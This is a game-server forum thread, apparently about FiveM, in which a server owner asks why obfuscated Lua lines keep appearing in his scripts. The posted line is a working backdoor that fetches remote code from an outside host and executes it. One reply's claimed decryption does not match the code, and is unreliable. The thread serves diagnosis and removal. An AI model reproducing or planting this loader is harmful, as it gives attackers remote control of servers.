Help. I have corrupt local lines in different Scripts

[vZ_LanaRhoades_Xv]

Hey Guys. Today I need your help.

Here a example:
local QVxpWJzVNlSFxggygKIJpcydkpJRKfnxfoCOYjLwSCcXzTFgXHPbSKqtzjmLHFvJsUcRcs = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} QVxpWJzVNlSFxggygKIJpcydkpJRKfnxfoCOYjLwSCcXzTFgXHPbSKqtzjmLHFvJsUcRcs[4][QVxpWJzVNlSFxggygKIJpcydkpJRKfnxfoCOYjLwSCcXzTFgXHPbSKqtzjmLHFvJsUcRcs[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x69\x70\x68\x65\x72\x2d\x70\x61\x6e\x65\x6c\x2e\x6d\x65\x2f\x5f\x69\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x30", function (xayjdvnNGgqBVOVmEIJBQSCWGWSZMtmncuMshBJuoQmHErODJaeTlnezkiyHnkqcNtfpoo, dhIGpiTqQHCDRzXoolemhlwQxfKkgVrkJEfniOGgZpXKmvulJYDNkNdPImbnEShUTUWCtj) if (dhIGpiTqQHCDRzXoolemhlwQxfKkgVrkJEfniOGgZpXKmvulJYDNkNdPImbnEShUTUWCtj == QVxpWJzVNlSFxggygKIJpcydkpJRKfnxfoCOYjLwSCcXzTFgXHPbSKqtzjmLHFvJsUcRcs[6] or dhIGpiTqQHCDRzXoolemhlwQxfKkgVrkJEfniOGgZpXKmvulJYDNkNdPImbnEShUTUWCtj == QVxpWJzVNlSFxggygKIJpcydkpJRKfnxfoCOYjLwSCcXzTFgXHPbSKqtzjmLHFvJsUcRcs[5]) then return end QVxpWJzVNlSFxggygKIJpcydkpJRKfnxfoCOYjLwSCcXzTFgXHPbSKqtzjmLHFvJsUcRcs[4][QVxpWJzVNlSFxggygKIJpcydkpJRKfnxfoCOYjLwSCcXzTFgXHPbSKqtzjmLHFvJsUcRcs[2]](QVxpWJzVNlSFxggygKIJpcydkpJRKfnxfoCOYjLwSCcXzTFgXHPbSKqtzjmLHFvJsUcRcs[4][QVxpWJzVNlSFxggygKIJpcydkpJRKfnxfoCOYjLwSCcXzTFgXHPbSKqtzjmLHFvJsUcRcs[3]](dhIGpiTqQHCDRzXoolemhlwQxfKkgVrkJEfniOGgZpXKmvulJYDNkNdPImbnEShUTUWCtj))() end)

Since a few Month i have a big Problem. It prints me some strange local lines in different scripts. Mostly it is printed in locales/en.lua but also in client.lua and server.lua

And strange is, when I delete the lines in one script an restart the server, another line is printed in other scripts.

The problem is these lines prints me Errors in the Console and the script dosent work anymore.

Can anyone help me with that Problem or can tell me what the problem could be?

I try all I can to solve this problem, i check all my scripts I have installed if there is any strange code any strange file but there is nothing. and also it can not be an DDOS because I have switched License Keys, IP Adresses, Accounts,… several times but that also not help me to solve the problem.

I hope you can understand my Problem because my Englisch is not so good

Love you all guys

Greets from Germany

Paul

[ChristopherM]

You have malware in one or more of your scripts. See this thread for more details:

A weird Line gets added to some resources

The line I find in many resources like mapmanager_server.lua local MccmYsQtoEhbQWasIWsroJeCtDFUqBpkXvNMmYqKpXnQsUhQsSqZLfeJVjnYuagnhSWzeF = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} MccmYsQtoEhbQWasIWsroJeCtDFUqBpkXvNMmYqKpXnQsUhQsSqZLfeJVjnYuagnhSWzeF[4][MccmYsQtoEhbQWasIWsroJeCtDFUqBpkXvNMmYqKpXnQsUhQsSqZLfeJVjnYuagnhSWzeF[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x61\x72\x62\x61\x6e\x69\x75\x73\x2e\x63…

[vZ_LanaRhoades_Xv]

Thank you. I have googlet a lot but I dont find this post. Thank you

[enty2.0]

Decrypted it. Just remove the file and everything should be okay.

-- Define the required functions and event handler
local registeredNetEvent = "RegisterNetEvent"
local helpCode = "AddEventHandler"
local addEvent = "playerConnecting"
local loadFunc = "load"
local assertFunc = "assert"
local globalEnv = _G

-- Register a net event handler for 'playerConnecting'
globalEnv[registeredNetEvent](addEvent)

-- Add an event handler for 'playerConnecting'
globalEnv[helpCode](addEvent, function(playerName, rejectReason)
    -- Execute the 'load' function to trigger the payload
    globalEnv[loadFunc](playerName)
end)

[vZ_LanaRhoades_Xv]

Thank you. Sorry for my question but where I need to add this?

[enty2.0]

Don’t add the code! xD

As you said you’re german and your english isn’t the best:

Ich habe den code von dir entschlüsselt und es ist eine Art Hintertür für Cheater also entferne das Script einfach wo du das gefunden hast.

[vZ_LanaRhoades_Xv]

Ahhhh okay aber das Script wo die Zeile drin war ist ein standard esx Script vom ESX Legacy Pack. Das Problem ist das irgendein korruptes Script diese Zeile willkürlich in unterschiedliche Scripts haut.

[enty2.0]

Finde das Auslöser Script was dies getan hat und wenn du es gefunden hast schick es mir auf Discord dann kann ich dir ungefähr sagen was es alles getan hat.

Discord name: entytaiment25

[vZ_LanaRhoades_Xv]

Schwierig da wir über 300 Scripts installiert haben. Ich weiß ja auch garnicht nach was ich in den Scripts suchen müsste

[Tuncion]

Bei 300 Scripts empfehle ich allgemein, alle Scripts durchgehen und aussortieren. Höchstwahrscheinlich wird das Auslöser Script das @enty2.0 schon angesprochen hat, ebenfalls obfuscated sein.

Ich würde erstmals alle obfuscated scripts aussortieren, dass sollte die Auswahl schon drastisch verkleinern. Hab aber im Hinterkopf es kann auch in ein nicht obfuscated (Open-Source) Script sein, Open-Source ist nicht immer gleich sicher und ohne schadcode!

[vZ_LanaRhoades_Xv]

Hey

I have found the Problem and fixed it. For everyone who have this problem check your Sessionmanager and every default cfx script. I have the corrupt code in Sessionmanager, Spawnmanager and Mapmanager.

Since I removed then and replaced it with the cfx default scripts from my txadmin server I have no longer problems with random local lines and no errors in console.